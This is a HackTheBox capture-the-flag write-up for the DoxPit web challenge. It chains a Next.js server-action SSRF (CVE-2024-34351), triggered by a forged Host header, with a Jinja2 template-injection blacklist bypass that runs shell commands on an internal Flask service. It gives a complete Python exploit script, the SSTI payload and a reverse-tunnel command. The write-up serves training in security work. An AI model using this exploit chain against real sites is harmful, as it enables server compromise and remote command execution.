← Back to Writeups
HTBN/AWeb

DoxPit

XESXOR8/23/20267 min read
#web#htb#n/a#CVE-2024-34351

DoxPit

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: attr_filter_chain, host_header_injection, jinja2_ssti_statement_tag_bypass, localhost_run_reverse_tunnel, nextjs_server_action_ssrf, request_args_parameter_passing

Summary

Task: Next.js 14.1.0 front-end with internal Flask AV scanner; CVE-2024-34351 SSRF in server actions plus Jinja2 SSTI with blacklist bypass. Solution: forge Host header to trigger SSRF via server action redirect, register user on internal Flask service, exploit render_template_string with {%print()%} and attr() filter chain to read flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260519_hackthebox_doxpit
  • Tags: flask, ssrf, docker, ssti, jinja2, reverse_tunnel, blacklist_bypass, nextjs, server_actions, render_template_string, cve_2024_34351, supervisord
  • Indicators: next@14.1.0 in package.json, server action with redirect() to relative path, render_template_string() with string replacement before rendering, blacklist filtering {{ }} . _ [ ] \ x but not {% %}, internal service not exposed externally (only port 1337 exposed)
  • Source: 20260519_hackthebox_doxpit.md

Foothold

Vulnerability / Misconfiguration

  1. Attr_filter_chain
  2. Host_header_injection
  3. Jinja2_ssti_statement_tag_bypass
  4. Localhost_run_reverse_tunnel
  5. Nextjs_server_action_ssrf
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • attr_filter_chain
  • host_header_injection
  • jinja2_ssti_statement_tag_bypass
  • localhost_run_reverse_tunnel
  • nextjs_server_action_ssrf
  • request_args_parameter_passing
  • Tags: flask, ssrf, docker, ssti, jinja2, reverse_tunnel, blacklist_bypass, nextjs, server_actions, render_template_string, cve_2024_34351, supervisord

Original Writeup

<details><summary>Click to expand original content</summary>

DoxPit — HackTheBox

Description

The owner of famous underground forum doxpit has been allegedly kidnapped, now that turmoil ensues it is the right time to strike and take down this appalling operation.

A Docker container runs two services via supervisord: a Next.js 14.1.0 front-end on port 1337 (the only externally exposed port) serving a static "doxpit" paste forum UI, and an internal Flask 3.0.3 "AV scanner" service on port 3000 that is not directly reachable from outside. The flag is at /flag<random10hex>.txt, renamed at startup via entrypoint.sh.

Analysis

Architecture

The Dockerfile reveals the dual-service setup:

  • Next.js (next@14.1.0) on port 1337 — the only EXPOSEd port
  • Flask (flask==3.0.3) on port 3000 — internal only
# supervisord.conf
[program:next]
command=npm start
directory=/app/front-end

[program:av]
command=python3 run.py
directory=/app/av

The front-end is entirely static — no API calls, no proxy to Flask. It's a decoy. The real attack surface is the internal Flask service, reachable only via SSRF.

Stage 1: Next.js Server Action SSRF (CVE-2024-34351)

Next.js 14.1.0 has a known SSRF vulnerability in server actions. When a server action calls redirect("/error") (a relative path starting with /), Next.js internally constructs a fetch URL as ${proto}://${host}${basePath}${redirectUrl}, where host comes from the client's Host header.

The front-end has a server action in app/serverActions.tsx:

"use server";
import { redirect } from "next/navigation";

export async function doRedirect() {
  redirect("/error");
}

The action ID is embedded in the homepage HTML as $ACTION_ID_0b0da34c9bad83debaebc8b90e4d5ec7544ca862.

The SSRF becomes a full-read SSRF through a two-step dance:

  1. Next.js first sends a HEAD request to the attacker's server. If the response has Content-Type: text/x-component, it proceeds.
  2. Next.js then sends a GET request. The attacker's server responds with a 302 redirect to the real internal target. Next.js follows the redirect and returns the full response body to the caller.

Stage 2: Internal Flask user registration via SSRF

The Flask app at 127.0.0.1:3000 has a /register endpoint that accepts GET parameters:

@web.route("/register", methods=["GET"])
def register():
    username = request.args.get("username")
    password = request.args.get("password")
    # ...
    token = generate(16)
    db_session.create_user(username, password, token)
    return render_template("error.html", title="success",
                           error=f"User created with token: {token}"), 200

The SSRF is used to hit http://127.0.0.1:3000/register?username=pwn&password=pwn and extract the 32-hex token from the response HTML.

The token authenticates to /home via ?token=<token> — the auth_middleware checks request.args.get("token") against the database.

Stage 3: Jinja2 SSTI with blacklist bypass

The /home route has a critical vulnerability:

@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
    directory = request.args.get("directory")
    # ...
    with open("./application/templates/scan.html", "r") as file:
        template_content = file.read()
        results = scan_directory(directory)
        template_content = template_content.replace("{{ results.date }}", results["date"])
        template_content = template_content.replace("{{ results.scanned_directory }}",
                                                     results["scanned_directory"])
        return render_template_string(template_content, results=results)

The scanned_directory value comes directly from the user-supplied directory parameter and is string-replaced into the template before render_template_string() is called — a classic SSTI injection point.

There is a blacklist in general.py:

invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]

Bypass technique:

  • Use {%print(...)%} instead of {{...}} — statement tags are not blocked
  • Use |attr() filter instead of . dot access
  • Pass __globals__ and the command via request.args to avoid _ and x in the directory parameter

Final SSTI payload:

{%print(lipsum|attr(request|attr('args')|attr('get')('g'))|attr('get')('os')|attr('popen')(request|attr('args')|attr('get')('c'))|attr('read')())%}

With additional query parameters: &g=__globals__&c=cat /flag*

This works because:

  • lipsum is a Jinja2 global (the Lorem Ipsum generator) that has __globals__ containing the os module
  • request|attr('args')|attr('get')('g') retrieves the string __globals__ from query params (avoiding _ in the directory value)
  • request|attr('args')|attr('get')('c') retrieves cat /flag* (avoiding x from txt)

Solution

The exploit chains all three stages automatically:

#!/usr/bin/env python3
import argparse
import html
import random
import re
import string
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer


ACTION_RE = re.compile(r"\$ACTION_ID_([0-9a-f]{40})")
TOKEN_RE = re.compile(r"User created with token: ([0-9a-f]{32})")
FLAG_RE = re.compile(r"HTB\{[^}]+\}")


class RedirectHandler(BaseHTTPRequestHandler):
    target = None

    def do_HEAD(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/x-component")
        self.end_headers()

    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args):
        return


def fetch(url, *, method="GET", headers=None, data=None):
    req = urllib.request.Request(url, method=method, headers=headers or {}, data=data)
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            return resp.read().decode(errors="replace")
    except urllib.error.HTTPError as exc:
        return exc.read().decode(errors="replace")


def scrape_action_id(base_url):
    body = fetch(base_url)
    match = ACTION_RE.search(body)
    if not match:
        raise RuntimeError("could not find Next server action ID in homepage HTML")
    return match.group(1)


def trigger_ssrf(base_url, action_id, host_header):
    headers = {
        "Host": host_header,
        "Next-Action": action_id,
        "Accept": "text/x-component",
        "Content-Type": "text/plain",
    }
    return fetch(base_url, method="POST", headers=headers, data=b"{}")


def randstr(length=8):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(length))


def start_helper(listen, port):
    server = HTTPServer((listen, port), RedirectHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    time.sleep(0.2)
    return server


def build_url(base, params):
    return f"{base}?{urllib.parse.urlencode(params)}"


def main():
    parser = argparse.ArgumentParser(
        description="Exploit DoxPit via Next.js SSRF -> internal Flask SSTI")
    parser.add_argument("base_url",
        help="Public challenge URL, e.g. http://94.237.x.x:12345/")
    parser.add_argument("--listen", default="127.0.0.1",
        help="Local helper bind address")
    parser.add_argument("--port", type=int, default=8000,
        help="Local helper bind port")
    parser.add_argument("--public-host", default=None,
        help="Host:port visible to target (use tunnel domain here)")
    parser.add_argument("--internal-base", default="http://127.0.0.1:3000",
        help="Internal Flask base URL")
    parser.add_argument("--command", default="cat /flag*",
        help="Command to execute via SSTI")
    args = parser.parse_args()

    base_url = args.base_url.rstrip("/") + "/"
    action_id = scrape_action_id(base_url)
    print(f"[+] action id: {action_id}")

    helper = start_helper(args.listen, args.port)
    host_header = args.public_host or f"{args.listen}:{args.port}"
    print(f"[+] helper host header: {host_header}")

    # Stage 2: Register user on internal Flask via SSRF
    username = f"pwn_{randstr()}"
    password = randstr(12)
    register_url = build_url(
        f"{args.internal_base}/register",
        {"username": username, "password": password},
    )

    RedirectHandler.target = register_url
    register_resp = trigger_ssrf(base_url, action_id, host_header)
    token_match = TOKEN_RE.search(register_resp)
    if not token_match:
        raise RuntimeError("could not extract token from SSRF register response")
    token = token_match.group(1)
    print(f"[+] token: {token}")

    # Stage 3: SSTI to read flag
    payload = ("{%print(lipsum|attr(request|attr('args')|attr('get')('g'))"
               "|attr('get')('os')"
               "|attr('popen')(request|attr('args')|attr('get')('c'))"
               "|attr('read')())%}")
    home_url = build_url(
        f"{args.internal_base}/home",
        {
            "token": token,
            "g": "__globals__",
            "c": args.command,
            "directory": payload,
        },
    )

    RedirectHandler.target = home_url
    flag_resp = trigger_ssrf(base_url, action_id, host_header)
    flag_match = FLAG_RE.search(html.unescape(flag_resp))
    if not flag_match:
        raise RuntimeError("flag not found in final response")

    print(f"[+] flag: {flag_match.group(0)}")
    helper.shutdown()


if __name__ == "__main__":
    main()

Running the exploit

The helper server needs to be reachable from the target container. A localhost.run SSH reverse tunnel exposes the local helper publicly:

ssh -R 80:127.0.0.1:8000 nokey@localhost.run 2>&1 | tee localhostrun.log &
# Wait for tunnel URL, e.g. d90f5f78134b82.lhr.life

python3 solve.py http://TARGET:PORT/ --public-host d90f5f78134b82.lhr.life

Output:

[+] action id: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
[+] helper host header: d90f5f78134b82.lhr.life
[+] token: ff152f7d1b6b52fcef520a8f8ad83b6b
[+] flag: HTB{REDACTED}

What didn't work

  • The front-end is entirely static (no API calls, no fetch, no proxy to Flask) — it's a decoy
  • Webhook.site free tier doesn't support method-specific responses (needed HEAD vs GET differentiation)
  • Direct access to Flask port 3000 is not possible from outside the container
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR